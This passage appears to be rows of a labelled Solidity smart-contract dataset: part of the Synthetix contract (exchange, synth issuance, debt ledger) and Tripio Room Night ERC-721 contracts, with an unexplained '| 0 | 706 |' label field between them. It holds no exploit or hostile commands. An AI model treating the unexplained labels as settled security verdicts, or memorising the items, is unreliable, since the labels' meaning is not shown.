uint currencyRate = exchangeRates.rateForCurrency(currencyKey);
for (uint8 i = 0; i < availableSynths.length; i++) {
require(!exchangeRates.rateIsStale(availableSynths[i].currencyKey()), "Rate is stale");
uint synthValue = availableSynths[i].totalSupply()
.multiplyDecimalRound(exchangeRates.rateForCurrency(availableSynths[i].currencyKey()))
.divideDecimalRound(currencyRate);
total = total.add(synthValue);
}
return total;
}
function availableSynthCount()
public
view
returns (uint)
{
return availableSynths.length;
}
function transfer(address to, uint value)
public
returns (bool)
{
bytes memory empty;
return transfer(to, value, empty);
}
function transfer(address to, uint value, bytes data)
public
optionalProxy
returns (bool)
{
require(value <= transferableSynthetix(messageSender), "Insufficient balance");
_transfer_byProxy(messageSender, to, value, data);
return true;
}
function transferFrom(address from, address to, uint value)
public
returns (bool)
{
bytes memory empty;
return transferFrom(from, to, value, empty);
}
function transferFrom(address from, address to, uint value, bytes data)
public
optionalProxy
returns (bool)
{
require(value <= transferableSynthetix(from), "Insufficient balance");
_transferFrom_byProxy(messageSender, from, to, value, data);
return true;
}
function exchange(bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey, address destinationAddress)
external
optionalProxy
returns (bool)
{
require(sourceCurrencyKey != destinationCurrencyKey, "Exchange must use different synths");
require(sourceAmount > 0, "Zero amount");
return _internalExchange(
messageSender,
sourceCurrencyKey,
sourceAmount,
destinationCurrencyKey,
destinationAddress == address(0) ? messageSender : destinationAddress,
true
);
}
function synthInitiatedExchange(
address from,
bytes4 sourceCurrencyKey,
uint sourceAmount,
bytes4 destinationCurrencyKey,
address destinationAddress
)
external
onlySynth
returns (bool)
{
require(sourceCurrencyKey != destinationCurrencyKey, "Can't be same synth");
require(sourceAmount > 0, "Zero amount");
return _internalExchange(
from,
sourceCurrencyKey,
sourceAmount,
destinationCurrencyKey,
destinationAddress,
false
);
}
function synthInitiatedFeePayment(
address from,
bytes4 sourceCurrencyKey,
uint sourceAmount
)
external
onlySynth
returns (bool)
{
require(sourceAmount > 0, "Source can't be 0");
bool result = _internalExchange(
from,
sourceCurrencyKey,
sourceAmount,
"XDR",
feePool.FEE_ADDRESS(),
false
);
feePool.feePaid(sourceCurrencyKey, sourceAmount);
return result;
}
function _internalExchange(
address from,
bytes4 sourceCurrencyKey,
uint sourceAmount,
bytes4 destinationCurrencyKey,
address destinationAddress,
bool chargeFee
)
internal
notFeeAddress(from)
returns (bool)
{
require(destinationAddress != address(0), "Zero destination");
require(destinationAddress != address(this), "Synthetix is invalid destination");
require(destinationAddress != address(proxy), "Proxy is invalid destination");
synths[sourceCurrencyKey].burn(from, sourceAmount);
uint destinationAmount = effectiveValue(sourceCurrencyKey, sourceAmount, destinationCurrencyKey);
uint amountReceived = destinationAmount;
uint fee = 0;
if (chargeFee) {
amountReceived = feePool.amountReceivedFromExchange(destinationAmount);
fee = destinationAmount.sub(amountReceived);
}
synths[destinationCurrencyKey].issue(destinationAddress, amountReceived);
if (fee > 0) {
uint xdrFeeAmount = effectiveValue(destinationCurrencyKey, fee, "XDR");
synths["XDR"].issue(feePool.FEE_ADDRESS(), xdrFeeAmount);
}
synths[destinationCurrencyKey].triggerTokenFallbackIfNeeded(from, destinationAddress, amountReceived);
return true;
}
function _addToDebtRegister(bytes4 currencyKey, uint amount)
internal
optionalProxy
{
uint xdrValue = effectiveValue(currencyKey, amount, "XDR");
uint totalDebtIssued = totalIssuedSynths("XDR");
uint newTotalDebtIssued = xdrValue.add(totalDebtIssued);
uint debtPercentage = xdrValue.divideDecimalRoundPrecise(newTotalDebtIssued);
uint delta = SafeDecimalMath.preciseUnit().sub(debtPercentage);
uint existingDebt = debtBalanceOf(messageSender, "XDR");
if (existingDebt > 0) {
debtPercentage = xdrValue.add(existingDebt).divideDecimalRoundPrecise(newTotalDebtIssued);
}
if (!synthetixState.hasIssued(messageSender)) {
synthetixState.incrementTotalIssuerCount();
}
synthetixState.setCurrentIssuanceData(messageSender, debtPercentage);
if (synthetixState.debtLedgerLength() > 0) {
synthetixState.appendDebtLedgerValue(
synthetixState.lastDebtLedgerEntry().multiplyDecimalRoundPrecise(delta)
);
} else {
synthetixState.appendDebtLedgerValue(SafeDecimalMath.preciseUnit());
}
}
function issueSynths(bytes4 currencyKey, uint amount)
public
optionalProxy
nonZeroAmount(amount)
{
require(amount <= remainingIssuableSynths(messageSender, currencyKey), "Amount too large");
_addToDebtRegister(currencyKey, amount);
synths[currencyKey].issue(messageSender, amount);
}
function issueMaxSynths(bytes4 currencyKey)
external
optionalProxy
{
uint maxIssuable = remainingIssuableSynths(messageSender, currencyKey);
issueSynths(currencyKey, maxIssuable);
}
function burnSynths(bytes4 currencyKey, uint amount)
external
optionalProxy
{
uint debt = debtBalanceOf(messageSender, currencyKey);
require(debt > 0, "No debt to forgive");
uint amountToBurn = debt < amount ? debt : amount;
_removeFromDebtRegister(currencyKey, amountToBurn);
synths[currencyKey].burn(messageSender, amountToBurn);
}
function _removeFromDebtRegister(bytes4 currencyKey, uint amount)
internal
{
uint debtToRemove = effectiveValue(currencyKey, amount, "XDR");
uint existingDebt = debtBalanceOf(messageSender, "XDR");
uint totalDebtIssued = totalIssuedSynths("XDR");
uint debtPercentage = debtToRemove.divideDecimalRoundPrecise(totalDebtIssued);
uint delta = SafeDecimalMath.preciseUnit().add(debtPercentage);
if (debtToRemove == existingDebt) {
synthetixState.clearIssuanceData(messageSender);
synthetixState.decrementTotalIssuerCount();
} else {
uint newDebt = existingDebt.sub(debtToRemove);
uint newTotalDebtIssued = totalDebtIssued.sub(debtToRemove);
uint newDebtPercentage = newDebt.divideDecimalRoundPrecise(newTotalDebtIssued);
synthetixState.setCurrentIssuanceData(messageSender, newDebtPercentage);
}
synthetixState.appendDebtLedgerValue(
synthetixState.lastDebtLedgerEntry().multiplyDecimalRoundPrecise(delta)
);
}
function maxIssuableSynths(address issuer, bytes4 currencyKey)
public
view
returns (uint)
{
uint destinationValue = effectiveValue("SNX", collateral(issuer), currencyKey);
return destinationValue.multiplyDecimal(synthetixState.issuanceRatio());
}
function collateralisationRatio(address issuer)
public
view
returns (uint)
{
uint totalOwnedSynthetix = collateral(issuer);
if (totalOwnedSynthetix == 0) return 0;
uint debtBalance = debtBalanceOf(issuer, "SNX");
return debtBalance.divideDecimalRound(totalOwnedSynthetix);
}
function debtBalanceOf(address issuer, bytes4 currencyKey)
public
view
returns (uint)
{
uint initialDebtOwnership;
uint debtEntryIndex;
(initialDebtOwnership, debtEntryIndex) = synthetixState.issuanceData(issuer);
if (initialDebtOwnership == 0) return 0;
uint currentDebtOwnership = synthetixState.lastDebtLedgerEntry()
.divideDecimalRoundPrecise(synthetixState.debtLedger(debtEntryIndex))
.multiplyDecimalRoundPrecise(initialDebtOwnership);
uint totalSystemValue = totalIssuedSynths(currencyKey);
uint highPrecisionBalance = totalSystemValue.decimalToPreciseDecimal()
.multiplyDecimalRoundPrecise(currentDebtOwnership);
return highPrecisionBalance.preciseDecimalToDecimal();
}
function remainingIssuableSynths(address issuer, bytes4 currencyKey)
public
view
returns (uint)
{
uint alreadyIssued = debtBalanceOf(issuer, currencyKey);
uint max = maxIssuableSynths(issuer, currencyKey);
if (alreadyIssued >= max) {
return 0;
} else {
return max.sub(alreadyIssued);
}
}
function collateral(address account)
public
view
returns (uint)
{
uint balance = tokenState.balanceOf(account);
if (escrow != address(0)) {
balance = balance.add(escrow.balanceOf(account));
}
return balance;
}
function transferableSynthetix(address account)
public
view
rateNotStale("SNX")
returns (uint)
{
uint balance = tokenState.balanceOf(account);
uint lockedSynthetixValue = debtBalanceOf(account, "SNX").divideDecimalRound(synthetixState.issuanceRatio());
if (lockedSynthetixValue >= balance) {
return 0;
} else {
return balance.sub(lockedSynthetixValue);
}
}
modifier rateNotStale(bytes4 currencyKey) {
require(!exchangeRates.rateIsStale(currencyKey), "Rate stale or nonexistant currency");
_;
}
modifier notFeeAddress(address account) {
require(account != feePool.FEE_ADDRESS(), "Fee address not allowed");
_;
}
modifier onlySynth() {
bool isSynth = false;
for (uint8 i = 0; i < availableSynths.length; i++) {
if (availableSynths[i] == msg.sender) {
isSynth = true;
break;
}
}
require(isSynth, "Only synth allowed");
_;
}
modifier nonZeroAmount(uint _amount) {
require(_amount > 0, "Amount needs to be larger than 0");
_;
}
event PreferredCurrencyChanged(address indexed account, bytes4 newPreferredCurrency);
bytes32 constant PREFERREDCURRENCYCHANGED_SIG = keccak256("PreferredCurrencyChanged(address,bytes4)");
function emitPreferredCurrencyChanged(address account, bytes4 newPreferredCurrency) internal {
proxy._emit(abi.encode(newPreferredCurrency), 2, PREFERREDCURRENCYCHANGED_SIG, bytes32(account), 0, 0);
}
event StateContractChanged(address stateContract);
bytes32 constant STATECONTRACTCHANGED_SIG = keccak256("StateContractChanged(address)");
function emitStateContractChanged(address stateContract) internal {
proxy._emit(abi.encode(stateContract), 1, STATECONTRACTCHANGED_SIG, 0, 0, 0);
}
event SynthAdded(bytes4 currencyKey, address newSynth);
bytes32 constant SYNTHADDED_SIG = keccak256("SynthAdded(bytes4,address)");
function emitSynthAdded(bytes4 currencyKey, address newSynth) internal {
proxy._emit(abi.encode(currencyKey, newSynth), 1, SYNTHADDED_SIG, 0, 0, 0);
}
event SynthRemoved(bytes4 currencyKey, address removedSynth);
bytes32 constant SYNTHREMOVED_SIG = keccak256("SynthRemoved(bytes4,address)");
function emitSynthRemoved(bytes4 currencyKey, address removedSynth) internal {
proxy._emit(abi.encode(currencyKey, removedSynth), 1, SYNTHREMOVED_SIG, 0, 0, 0);
}
}
contract SynthetixState is State, LimitedSetup {
using SafeMath for uint;
using SafeDecimalMath for uint;
struct IssuanceData {
uint initialDebtOwnership;
uint debtEntryIndex;
}
mapping(address => IssuanceData) public issuanceData;
uint public totalIssuerCount;
uint[] public debtLedger;
uint public issuanceRatio = SafeDecimalMath.unit() / 5;
uint constant MAX_ISSUANCE_RATIO = SafeDecimalMath.unit();
mapping(address => bytes4) public preferredCurrency;
constructor(address _owner, address _associatedContract)
State(_owner, _associatedContract)
LimitedSetup(1 weeks)
public
{}
function setCurrentIssuanceData(address account, uint initialDebtOwnership)
external
onlyAssociatedContract
{
issuanceData[account].initialDebtOwnership = initialDebtOwnership;
issuanceData[account].debtEntryIndex = debtLedger.length;
}
function clearIssuanceData(address account)
external
onlyAssociatedContract
{
delete issuanceData[account];
}
function incrementTotalIssuerCount()
external
onlyAssociatedContract
{
totalIssuerCount = totalIssuerCount.add(1);
}
function decrementTotalIssuerCount()
external
onlyAssociatedContract
{
totalIssuerCount = totalIssuerCount.sub(1);
}
function appendDebtLedgerValue(uint value)
external
onlyAssociatedContract
{
debtLedger.push(value);
}
function setPreferredCurrency(address account, bytes4 currencyKey)
external
onlyAssociatedContract
{
preferredCurrency[account] = currencyKey;
}
function setIssuanceRatio(uint _issuanceRatio)
external
onlyOwner
{
require(_issuanceRatio <= MAX_ISSUANCE_RATIO, "New issuance ratio cannot exceed MAX_ISSUANCE_RATIO");
issuanceRatio = _issuanceRatio;
emit IssuanceRatioUpdated(_issuanceRatio);
}
function importIssuerData(address[] accounts, uint[] sUSDAmounts)
external
onlyOwner
onlyDuringSetup
{
require(accounts.length == sUSDAmounts.length, "Length mismatch");
for (uint8 i = 0; i < accounts.length; i++) {
_addToDebtRegister(accounts[i], sUSDAmounts[i]);
}
}
function _addToDebtRegister(address account, uint amount)
internal
{
Synthetix synthetix = Synthetix(associatedContract);
uint xdrValue = synthetix.effectiveValue("sUSD", amount, "XDR");
uint totalDebtIssued = synthetix.totalIssuedSynths("XDR");
uint newTotalDebtIssued = xdrValue.add(totalDebtIssued);
uint debtPercentage = xdrValue.divideDecimalRoundPrecise(newTotalDebtIssued);
uint delta = SafeDecimalMath.preciseUnit().sub(debtPercentage);
uint existingDebt = synthetix.debtBalanceOf(account, "XDR");
if (existingDebt > 0) {
debtPercentage = xdrValue.add(existingDebt).divideDecimalRoundPrecise(newTotalDebtIssued);
}
if (issuanceData[account].initialDebtOwnership == 0) {
totalIssuerCount = totalIssuerCount.add(1);
}
issuanceData[account].initialDebtOwnership = debtPercentage;
issuanceData[account].debtEntryIndex = debtLedger.length;
if (debtLedger.length > 0) {
debtLedger.push(
debtLedger[debtLedger.length - 1].multiplyDecimalRoundPrecise(delta)
);
} else {
debtLedger.push(SafeDecimalMath.preciseUnit());
}
}
function debtLedgerLength()
external
view
returns (uint)
{
return debtLedger.length;
}
function lastDebtLedgerEntry()
external
view
returns (uint)
{
return debtLedger[debtLedger.length - 1];
}
function hasIssued(address account)
external
view
returns (bool)
{
return issuanceData[account].initialDebtOwnership > 0;
}
event IssuanceRatioUpdated(uint newRatio);
} | 0 | 706 |
pragma solidity ^0.4.24;
interface ERC165 {
function supportsInterface(bytes4 interfaceID) external view returns (bool);
}
interface ERC721Metadata {
function name() external pure returns (string _name);
function symbol() external pure returns (string _symbol);
function tokenURI(uint256 _tokenId) external view returns (string);
}
interface ERC721 {
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
function balanceOf(address _owner) external view returns (uint256);
function ownerOf(uint256 _tokenId) external view returns (address);
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data) external payable;
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external payable;
function transferFrom(address _from, address _to, uint256 _tokenId) external payable;
function approve(address _approved, uint256 _tokenId) external payable;
function setApprovalForAll(address _operator, bool _approved) external;
function getApproved(uint256 _tokenId) external view returns (address);
function isApprovedForAll(address _owner, address _operator) external view returns (bool);
}
contract ERC721Receiver {
function onERC721Received(address _from, uint256 _tokenId, bytes _data) external returns(bytes4);
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed from, address indexed to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract TRNData is Owned {
TripioRoomNightData dataSource;
modifier onlyVendor {
uint256 vendorId = dataSource.vendorIds(msg.sender);
require(vendorId > 0);
(,,,bool valid) = dataSource.getVendor(vendorId);
require(valid);
_;
}
modifier vendorValid(address _vendor) {
uint256 vendorId = dataSource.vendorIds(_vendor);
require(vendorId > 0);
(,,,bool valid) = dataSource.getVendor(vendorId);
require(valid);
_;
}
modifier vendorIdValid(uint256 _vendorId) {
(,,,bool valid) = dataSource.getVendor(_vendorId);
require(valid);
_;
}
modifier ratePlanExist(uint256 _vendorId, uint256 _rpid) {
(,,,bool valid) = dataSource.getVendor(_vendorId);
require(valid);
require(dataSource.ratePlanIsExist(_vendorId, _rpid));
_;
}
modifier validToken(uint256 _tokenId) {
require(_tokenId > 0);
require(dataSource.roomNightIndexToOwner(_tokenId) != address(0));
_;
}
modifier validTokenInBatch(uint256[] _tokenIds) {
for(uint256 i = 0; i < _tokenIds.length; i++) {
require(_tokenIds[i] > 0);
require(dataSource.roomNightIndexToOwner(_tokenIds[i]) != address(0));
}
_;
}
modifier canTransfer(uint256 _tokenId) {
address owner = dataSource.roomNightIndexToOwner(_tokenId);
bool isOwner = (msg.sender == owner);
bool isApproval = (msg.sender == dataSource.roomNightApprovals(_tokenId));
bool isOperator = (dataSource.operatorApprovals(owner, msg.sender));
require(isOwner || isApproval || isOperator);
_;
}
modifier canTransferInBatch(uint256[] _tokenIds) {
for(uint256 i = 0; i < _tokenIds.length; i++) {
address owner = dataSource.roomNightIndexToOwner(_tokenIds[i]);
bool isOwner = (msg.sender == owner);
bool isApproval = (msg.sender == dataSource.roomNightApprovals(_tokenIds[i]));
bool isOperator = (dataSource.operatorApprovals(owner, msg.sender));
require(isOwner || isApproval || isOperator);
}
_;
}
modifier canOperate(uint256 _tokenId) {
address owner = dataSource.roomNightIndexToOwner(_tokenId);
bool isOwner = (msg.sender == owner);
bool isOperator = (dataSource.operatorApprovals(owner, msg.sender));
require(isOwner || isOperator);
_;
}
modifier validDate(uint256 _date) {
require(_date > 0);
require(dateIsLegal(_date));
_;
}
modifier validDates(uint256[] _dates) {
for(uint256 i = 0;i < _dates.length; i++) {
require(_dates[i] > 0);
require(dateIsLegal(_dates[i]));
}
_;
}
function dateIsLegal(uint256 _date) pure private returns(bool) {
uint256 year = _date / 10000;
uint256 mon = _date / 100 - year * 100;
uint256 day = _date - mon * 100 - year * 10000;
if(year < 1970 || mon <= 0 || mon > 12 || day <= 0 || day > 31)
return false;
if(4 == mon || 6 == mon || 9 == mon || 11 == mon){
if (day == 31) {
return false;
}
}
if(((year % 4 == 0) && (year % 100 != 0)) || (year % 400 == 0)) {
if(2 == mon && day > 29) {
return false;
}
}else {
if(2 == mon && day > 28){
return false;
}
}
return true;
}
constructor() public {
}
}
contract TRNOwners is TRNData {
constructor() public {
}
function _pushRoomNight(address _owner, uint256 _rnid, bool _isVendor) internal {
require(_owner != address(0));
require(_rnid != 0);
if (_isVendor) {
dataSource.pushOrderOfVendor(_owner, _rnid, false);
} else {
dataSource.pushOrderOfOwner(_owner, _rnid, false);
}
}
function _removeRoomNight(address _owner, uint256 _rnid) internal {
dataSource.removeOrderOfOwner(_owner, _rnid);
}
function roomNightsOfOwner(uint256 _from, uint256 _limit, bool _isVendor)
external
view
returns(uint256[], uint256) {
if(_isVendor) {
return dataSource.getOrdersOfVendor(msg.sender, _from, _limit, true);
}else {
return dataSource.getOrdersOfOwner(msg.sender, _from, _limit, true);
}
}
function roomNight(uint256 _rnid)
external
view
returns(uint256 _vendorId,uint256 _rpid,uint256 _token,uint256 _price,uint256 _timestamp,uint256 _date,bytes32 _ipfs, string _name) {
(_vendorId, _rpid, _token, _price, _timestamp, _date, _ipfs) = dataSource.roomnights(_rnid);
(_name,,) = dataSource.getRatePlan(_vendorId, _rpid);
}
}
library IPFSLib {
bytes constant ALPHABET = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz";
bytes constant HEX = "0123456789abcdef";
function base58Address(bytes _source) internal pure returns (bytes) {
uint8[] memory digits = new uint8[](_source.length * 136/100 + 1);
digits[0] = 0;
uint8 digitlength = 1;
for (uint i = 0; i < _source.length; ++i) {
uint carry = uint8(_source[i]);
for (uint j = 0; j<digitlength; ++j) {
carry += uint(digits[j]) * 256;
digits[j] = uint8(carry % 58);
carry = carry / 58;
}
while (carry > 0) {
digits[digitlength] = uint8(carry % 58);
digitlength++;
carry = carry / 58;
}
}
return toAlphabet(reverse(truncate(digits, digitlength)));
}
function hexAddress(bytes32 _source) internal pure returns(bytes) {
uint256 value = uint256(_source);
bytes memory result = "0000000000000000000000000000000000000000000000000000000000000000";
uint8 index = 0;
while(value > 0) {
result[index] = HEX[value & 0xf];
index++;
value = value>>4;
}
bytes memory ipfsBytes = reverseBytes(result);
return ipfsBytes;
}
function truncate(uint8[] _array, uint8 _length) internal pure returns (uint8[]) {
uint8[] memory output = new uint8[](_length);
for (uint i = 0; i < _length; i++) {
output[i] = _array[i];
}
return output;
}
function reverse(uint8[] _input) internal pure returns (uint8[]) {
uint8[] memory output = new uint8[](_input.length);
for (uint i = 0; i < _input.length; i++) {
output[i] = _input[_input.length - 1 - i];
}
return output;
}
function reverseBytes(bytes _input) private pure returns (bytes) {
bytes memory output = new bytes(_input.length);
for (uint8 i = 0; i < _input.length; i++) {
output[i] = _input[_input.length-1-i];
}
return output;
}
function toAlphabet(uint8[] _indices) internal pure returns (bytes) {
bytes memory output = new bytes(_indices.length);
for (uint i = 0; i < _indices.length; i++) {
output[i] = ALPHABET[_indices[i]];
}
return output;
}
function toBytes(bytes32 _input) internal pure returns (bytes) {
bytes memory output = new bytes(32);
for (uint8 i = 0; i < 32; i++) {
output[i] = _input[i];
}
return output;
}
function concat(bytes _byteArray, bytes _byteArray2) internal pure returns (bytes) {
bytes memory returnArray = new bytes(_byteArray.length + _byteArray2.length);
for (uint16 i = 0; i < _byteArray.length; i++) {
returnArray[i] = _byteArray[i];
}
for (i; i < (_byteArray.length + _byteArray2.length); i++) {
returnArray[i] = _byteArray2[i - _byteArray.length];
}
return returnArray;
}
}
contract TRNAsset is TRNData, ERC721Metadata {
using IPFSLib for bytes;
using IPFSLib for bytes32;
constructor() public {
}
function name() external pure returns (string _name) {
return "Tripio Room Night";
}
function symbol() external pure returns (string _symbol) {
return "TRN";
}
function tokenURI(uint256 _tokenId)
external
view
validToken(_tokenId)
returns (string) {
bytes memory prefix = new bytes(2);
prefix[0] = 0x12;
prefix[1] = 0x20;
(,,,,,,bytes32 ipfs) = dataSource.roomnights(_tokenId);
bytes memory value = prefix.concat(ipfs.toBytes());
bytes memory ipfsBytes = value.base58Address();
bytes memory tokenBaseURIBytes = bytes(dataSource.tokenBaseURI());
return string(tokenBaseURIBytes.concat(ipfsBytes));
}
}
contract TRNOwnership is TRNOwners, ERC721 {
constructor() public {
}
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
function _transfer(uint256 _tokenId, address _to) private {
address from = dataSource.roomNightIndexToOwner(_tokenId);
_removeRoomNight(from, _tokenId);
_pushRoomNight(_to, _tokenId, false);
dataSource.transferTokenTo(_tokenId, _to);
emit Transfer(from, _to, _tokenId);
}
function _safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes _data)
private
validToken(_tokenId)
canTransfer(_tokenId) {
address owner = dataSource.roomNightIndexToOwner(_tokenId);
require(owner == _from);
require(_to != address(0));
_transfer(_tokenId, _to);
uint256 codeSize;
assembly { codeSize := extcodesize(_to) }
if (codeSize == 0) {
return;
}
bytes4 retval = ERC721Receiver(_to).onERC721Received(_from, _tokenId, _data);
require (retval == dataSource.ERC721_RECEIVED());
}
function balanceOf(address _owner) external view returns (uint256) {
require(_owner != address(0));
return dataSource.balanceOf(_owner);
}
function ownerOf(uint256 _tokenId) external view returns (address) {
require(_tokenId > 0);
return dataSource.roomNightIndexToOwner(_tokenId);
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes _data) external payable {
_safeTransferFrom(_from, _to, _tokenId, _data);
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external payable {
_safeTransferFrom(_from, _to, _tokenId, "");
}
function transferFrom(address _from, address _to, uint256 _tokenId)
external
payable
validToken(_tokenId)
canTransfer(_tokenId) {
address owner = dataSource.roomNightIndexToOwner(_tokenId);
require(owner == _from);
require(_to != address(0));
_transfer(_tokenId, _to);
}
function transferFromInBatch(address _from, address _to, uint256[] _tokenIds)
external
payable
validTokenInBatch(_tokenIds)
canTransferInBatch(_tokenIds) {
for(uint256 i = 0; i < _tokenIds.length; i++) {
address owner = dataSource.roomNightIndexToOwner(_tokenIds[i]);
require(owner == _from);
require(_to != address(0));
_transfer(_tokenIds[i], _to);
}
}
function approve(address _approved, uint256 _tokenId)
external
payable
validToken(_tokenId)
canOperate(_tokenId) {
address owner = dataSource.roomNightIndexToOwner(_tokenId);
dataSource.approveTokenTo(_tokenId, _approved);
emit Approval(owner, _approved, _tokenId);
}
function setApprovalForAll(address _operator, bool _approved) external {
require(_operator != address(0));
dataSource.approveOperatorTo(_operator, msg.sender, _approved);
emit ApprovalForAll(msg.sender, _operator, _approved);
}
function getApproved(uint256 _tokenId)
external
view
validToken(_tokenId)
returns (address) {
return dataSource.roomNightApprovals(_tokenId);
}
function isApprovedForAll(address _owner, address _operator) external view returns (bool) {
return dataSource.operatorApprovals(_owner, _operator);
}
}
contract TRNSupportsInterface is TRNData, ERC165 {
constructor() public {
}
function supportsInterface(bytes4 interfaceID)
external
view
returns (bool) {
return ((interfaceID == dataSource.interfaceSignature_ERC165()) ||
(interfaceID == dataSource.interfaceSignature_ERC721Metadata()) ||
(interfaceID == dataSource.interfaceSignature_ERC721())) &&
(interfaceID != 0xffffffff);
}
}
library LinkedListLib {
uint256 constant NULL = 0;
uint256 constant HEAD = 0;
bool constant PREV = false;
bool constant NEXT = true;
struct LinkedList {
mapping (uint256 => mapping (bool => uint256)) list;
uint256 length;
uint256 index;
}
function listExists(LinkedList storage self)
internal
view returns (bool) {
return self.length > 0;
}
function nodeExists(LinkedList storage self, uint256 _node)
internal
view returns (bool) {
if (self.list[_node][PREV] == HEAD && self.list[_node][NEXT] == HEAD) {
if (self.list[HEAD][NEXT] == _node) {
return true;
} else {
return false;
}
} else {
return true;
}
}
function sizeOf(LinkedList storage self)
internal
view
returns (uint256 numElements) {
return self.length;
}
function getNode(LinkedList storage self, uint256 _node)
public
view
returns (bool, uint256, uint256) {
if (!nodeExists(self,_node)) {
return (false, 0, 0);
} else {
return (true, self.list[_node][PREV], self.list[_node][NEXT]);
}
}
function getAdjacent(LinkedList storage self, uint256 _node, bool _direction)
public
view
returns (bool, uint256) {
if (!nodeExists(self,_node)) {
return (false,0);
} else {
return (true,self.list[_node][_direction]);
}
}
function getSortedSpot(LinkedList storage self, uint256 _node, uint256 _value, bool _direction)
public
view
returns (uint256) {
if (sizeOf(self) == 0) {
return 0;
}
require((_node == 0) || nodeExists(self,_node));
bool exists;
uint256 next;
(exists,next) = getAdjacent(self, _node, _direction);
while ((next != 0) && (_value != next) && ((_value < next) != _direction)) next = self.list[next][_direction];
return next;
}
function createLink(LinkedList storage self, uint256 _node, uint256 _link, bool _direction)
private {
self.list[_link][!_direction] = _node;
self.list[_node][_direction] = _link;
}
function insert(LinkedList storage self, uint256 _node, uint256 _new, bool _direction)
internal
returns (bool) {
if(!nodeExists(self,_new) && nodeExists(self,_node)) {
uint256 c = self.list[_node][_direction];
createLink(self, _node, _new, _direction);
createLink(self, _new, c, _direction);
self.length++;
return true;
} else {
return false;
}
}
function remove(LinkedList storage self, uint256 _node)
internal
returns (uint256) {
if ((_node == NULL) || (!nodeExists(self,_node))) {
return 0;
}
createLink(self, self.list[_node][PREV], self.list[_node][NEXT], NEXT);
delete self.list[_node][PREV];
delete self.list[_node][NEXT];
self.length--;
return _node;
}
function add(LinkedList storage self, uint256 _index, bool _direction)
internal
returns (uint256) {
insert(self, HEAD, _index, _direction);
return self.index;
}
function push(LinkedList storage self, bool _direction)
internal
returns (uint256) {
self.index++;
insert(self, HEAD, self.index, _direction);
return self.index;
}
function pop(LinkedList storage self, bool _direction)
internal
returns (uint256) {
bool exists;
uint256 adj;
(exists,adj) = getAdjacent(self, HEAD, _direction);
return remove(self, adj);
}
}
contract TripioToken {
string public name;
string public symbol;
uint8 public decimals;
function transfer(address _to, uint256 _value) public returns (bool);
function balanceOf(address who) public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
}
contract TripioRoomNightData is Owned {
using LinkedListLib for LinkedListLib.LinkedList;
bytes4 constant public interfaceSignature_ERC165 = 0x01ffc9a7;
bytes4 constant public interfaceSignature_ERC721Metadata = 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd;
bytes4 constant public interfaceSignature_ERC721 = 0x70a08231 ^ 0x6352211e ^ 0xb88d4fde ^ 0x42842e0e ^ 0x23b872dd ^ 0x095ea7b3 ^ 0xa22cb465 ^ 0x081812fc ^ 0xe985e9c5;
string public tokenBaseURI;
struct AuthorizedContract {
string name;
address acontract;
}
mapping (address=>uint256) public authorizedContractIds;
mapping (uint256 => AuthorizedContract) public authorizedContracts;
LinkedListLib.LinkedList public authorizedContractList = LinkedListLib.LinkedList(0, 0);
struct Price {
uint16 inventory;
bool init;
mapping (uint256 => uint256) tokens;
}
struct RatePlan {
string name;
uint256 timestamp;
bytes32 ipfs;
Price basePrice;
mapping (uint256 => Price) prices;
}
struct Vendor {
string name;
address vendor;
uint256 timestamp;
bool valid;
LinkedListLib.LinkedList ratePlanList;
mapping (uint256=>RatePlan) ratePlans;
}
mapping (address => uint256) public vendorIds;
mapping (uint256 => Vendor) vendors;
LinkedListLib.LinkedList public vendorList = LinkedListLib.LinkedList(0, 0);
mapping (uint256 => address) public tokenIndexToAddress;
LinkedListLib.LinkedList public tokenList = LinkedListLib.LinkedList(0, 0);
struct RoomNight {
uint256 vendorId;
uint256 rpid;
uint256 token;
uint256 price;
uint256 timestamp;
uint256 date;
bytes32 ipfs;
}
RoomNight[] public roomnights;
mapping (uint256 => address) public roomNightIndexToOwner;
mapping (address => LinkedListLib.LinkedList) public roomNightOwners;
mapping (address => LinkedListLib.LinkedList) public roomNightVendors;
mapping (uint256 => address) public roomNightApprovals;
mapping (address => mapping (address => bool)) public operatorApprovals;
mapping (address => mapping (uint256 => bool)) public refundApplications;
bytes4 constant public ERC721_RECEIVED = 0xf0b9e5ba;
event ContractAuthorized(address _contract);
event ContractDeauthorized(address _contract);
modifier authorizedContractValid(address _contract) {
require(authorizedContractIds[_contract] > 0);
_;
}
modifier authorizedContractIdValid(uint256 _cid) {
require(authorizedContractList.nodeExists(_cid));
_;
}
modifier onlyOwnerOrAuthorizedContract {
require(msg.sender == owner || authorizedContractIds[msg.sender] > 0);
_;
}
constructor() public {
roomnights.push(RoomNight(0, 0, 0, 0, 0, 0, 0));
}
function getNodes(LinkedListLib.LinkedList storage self, uint256 _node, uint256 _limit, bool _direction)
private
view
returns (uint256[], uint256) {
bool exists;
uint256 i = 0;
uint256 ei = 0;
uint256 index = 0;
uint256 count = _limit;
if(count > self.length) {
count = self.length;
}
(exists, i) = self.getAdjacent(_node, _direction);
if(!exists || count == 0) {
return (new uint256[](0), 0);
}else {
uint256[] memory temp = new uint256[](count);
if(_node != 0) {
index++;
temp[0] = _node;
}
while (i != 0 && index < count) {
temp[index] = i;
(exists,i) = self.getAdjacent(i, _direction);
index++;
}
ei = i;
